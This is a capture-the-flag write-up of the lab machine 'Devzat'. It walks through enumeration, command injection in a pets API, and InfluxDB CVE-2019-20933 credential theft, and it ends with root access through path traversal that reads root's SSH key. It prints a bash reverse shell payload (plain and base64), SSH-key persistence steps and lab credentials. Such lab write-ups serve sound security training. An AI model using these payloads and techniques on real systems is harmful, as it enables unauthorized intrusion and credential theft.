Devzat
Enumeration
Nmap
First, let's scan for open ports using nmap
. We can quickly scan for open ports and store them in a variable: ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.118 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
. Then, we can scan those specific ports in depth by running nmap
's built-in scripts: nmap -p$ports -sC -sV 10.10.11.118
.
Right off the bat we notice that there are two SSH servers running and one is on a non-standard port 8000
.
Apache
Navigating to http://10.10.11.118
redirects to http://devzat.htb
, so we'll add that to our /etc/hosts
file with echo "10.10.11.118 devzat.htb" | sudo tee -a /etc/hosts
.
Trying some directory bruteforcing with gobuster dir -u http://devzat.htb -t 100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
finds nothing interesting:
Let's follow the directions at the bottom of the site: ssh -l william devzat.htb -p 8000
. We get a simple messaging interface. After sending some messages and the message help
this comes up:
Sending /help
outputs:
Visiting the linked GitHub repo shows a seemingly legitimate project.
Sending /commands
outputs:
After looking around, it seems like this is a legitimate service with no vulnerabilities.
Virtual Hosts
This page has some good information about virtual host fuzzing.
To scan for virtual hosts we need to start our own local DNS server since the /etc/hosts
doesn't support wildcards. We can use dnsmasq
. Start it with sudo systemctl start dnsmasq
. Then, edit the config file at /etc/dnsmasq.conf
by adding address=/devzat.htb/10.10.11.118
like so: echo 'address=/devzat.htb/10.10.11.118' >> sudo /etc/dnsmasq.conf
. Finally, reload the dnsmasq
service by running sudo systemctl reload dnsmasq
.
gobuster
command:gobuster vhost -u http://devzat.htb -t 100 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
. However, it is just full of HTTP code 302 responses, which in theory can be filtered with-b 302
, but that didn't work for me.ffuf
command:ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://devzat.htb -H "Host: FUZZ.devzat.htb" -fc 302
(more command examples here).
ffuf
finds the pets
subdomain:
Pets Virtual Host
This page contains a list of pets with 3 fields: name, species, and characteristics. There is also a button to delete items from the list. Additionally, we can add a pet by entering the name of the pet and selecting a species from a drop down list. Clicking the delete button shows a message saying Not implemented, yet
.
Adding pets works as expected but after trying an SSTI (specifically, {{7*7}}
), the only output added to the list is exit status 1
. So, that is strange. We might have some sort of command injection.
Let's do directory bruteforcing with ffuf
: ffuf -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://pets.devzat.htb/FUZZ -fs 510
.
ffuf
results:
There is a git repo. We can download the git repo with wget -r -np -R "index.html*" http://pets.devzat.htb/.git/
. Run git checkout -- .
to restore the working directory since we only download the .git/
folder, not the entire working directory.
Pets Source Code
Looking at git log
and comparing commits with git diff
shows that nothing was changed much in previous commits. We didn't find anything useful in previous commits.
Looking at the main.go
file we see a section that is probably vulnerable to a command injection:
This function, loadCharacter
, is called by addPet
, which is called when a pet is added through the user interface. Thus, we can control the species
variable in this function.
As you can see, POST requests go right to the addPet
function:
In the handleRequest
we discover that pets are added by POSTing the data to /api/pet
. We could have also found this out using our browser's developer tools and monitoring the network requests.
Foothold
Let's try a command injection using curl since the website's interface only lets us select species from a drop down. Our command injection payload is dog;bash -i >& /dev/tcp/10.10.14.25/17344 0>&1
. We need to specify dog
to finish off the cat
command since we only control the command input after cat characteristics/[OUR INPUT]
. We are using a simple bash reverse shell (more reverse shell options here).
We can encode our payload as base64 so we don't have to deal with formatting issues: echo -n "bash -i >& /dev/tcp/10.10.14.25/17344 0>&1" | base64
: YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yNS8xNzM0NCAwPiYx
. Now, our payload is dog;echo -n 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yNS8xNzM0NCAwPiYx' | base64 -d | bash
Start a listener with netcat with nc -nvlp 17344
or use pwncat
. This gives us a reverse shell connection to the user patrick
. We can get persistance with run implant.authorized_key key=/home/kali/.ssh/id_rsa
in pwncat
. Now, we can connect with ssh -i /home/kali/.ssh/id_rsa patrick@devzat.htb
.
There is no user.txt
in patrick
's home directory. However, cat /etc/passwd
shows another user catherine
with uid 1001
.
Lateral Movement
Let's upload LinPEAS with upload linpeas.sh
and then run it with bash linpeas.sh
.
Under the "Active Ports" section we see two unknown ports with services running locally: 8086
and 8443
.
We can forward these to our attacker machine and investigate them using nmap
. Let's first forward them using SSH
: ssh -i /home/kali/.ssh/id_rsa -L 8443:localhost:8443 -L 8086:localhost:8086 patrick@devzat.htb
.
Let's scan with nmap
: nmap -sC -sV -p8443,8086 localhost
:
Looks like port 8443
is devzat
from before. Connecting with ssh -l william localhost -p 8443
shows that it is. So, we can ignore that. Thus, our port forwards only needs to contain port 8086
: ssh -i /home/kali/.ssh/id_rsa -L 8086:localhost:8086 patrick@devzat.htb
.
InfluxDB
Port 8086
is much more interesting. It contains "InfluxDB http admin 1.7.5". However, navigating to http://localhost:8086/
just shows 404 page not found
.
Searching "InfluxDB http admin 1.7.5" online finds the HackTricks page on it, which is really great. We learn that InfluxDB is "an open-source time series database (TSDB) developed by the company InfluxData. A time series database (TSDB) is a software system that is optimized for storing and serving time series through associated pairs of time(s) and value(s)."
The second result when searching "InfluxDB http admin 1.7.5" is LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933. According to the repo: "InfluxDB before 1.7.6 has an authentication bypass vulnerability in the authenticate function in services/httpd/handler.go because a JWT token may have an empty SharedSecret (aka shared secret). Exploit check if server is vulnerable, then it tries to get a remote query shell. It has built in a username bruteforce service."
Let's try to use this exploit since the target is running a vulnerable version of InfluxDB.
Running the exploit:
Now, we have an InfluxDB so let's try to list the tables. Searching online for how to do this reveals that we need to run the SHOW MEASUREMENTS
command. You can learn more about InfluxDB queries on this page.
Now, we can dump all the fields from the users
measurement:
catherine
User
catherine
UserNow, we have credentials for catherine
(woBeeYareedahc7Oogeephies7Aiseci
), which will hopefully be the same as the user account catherine
on the system.
Trying to simply ssh to the account with ssh catherine@devzat.htb
outputs Permission denied (publickey)
. So, it looks like password based ssh login is disabled.
However, since we are already signed in as patrick
, we can su catherine
and enter the password woBeeYareedahc7Oogeephies7Aiseci
, which works.
We can now get the user.txt
flag with cat /home/catherine/user.txt
.
We can gain persistance by adding our public key to catherine
's ~/.ssh/authorized_keys
file: echo [PUBLIC KEY HERE] >> ~/.ssh/authorized_keys
. Now, we can connect with ssh -i /home/kali/.ssh/id_rsa catherine@devzat.htb
.
We can use this command to find files owned by catherine
or that are world writable (from Weird Location/Owned files - HackTricks): find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
:
These same results will appear when running LinPEAS under the header "Interesting writable files owned by me or writable by everyone (not in Home) (max 500)."
The files /var/backups/devzat-main.zip
and /var/backups/devzat-dev.zip
are interesting. Maybe the devzat
service is exploitable after all. We can download them easily using pwncat
's download command.
Devzat Backups
We exact the backups and then find the difference between them using diff dev main
:
At the bottom we see that the developer instance of devzat
is running on port 8443 while the main version that we could access before is running on port 8000.
It looks like the main difference is that the development version has a file
command with the description "Paste a files content directly to chat [alpha]".
We will need to provide a password to use this command, which is in plain text in the code: CeilingCatStillAThingIn2021?
.
Getting root
root
Let's connect to the development version of devzat
with ssh -l william localhost -p 8443
:
Running /file ../root.txt CeilingCatStillAThingIn2021?
returns the root flag.
We can get root
's private key with /file ../.ssh/id_rsa CeilingCatStillAThingIn2021?
. Now, we just paste that into a file, change the permissions with chmod 600 devzat_root_key
, and ssh to the machine as root with ssh -i devzat_root_key root@devzat.htb
. Finally, we have a root shell.
Last updated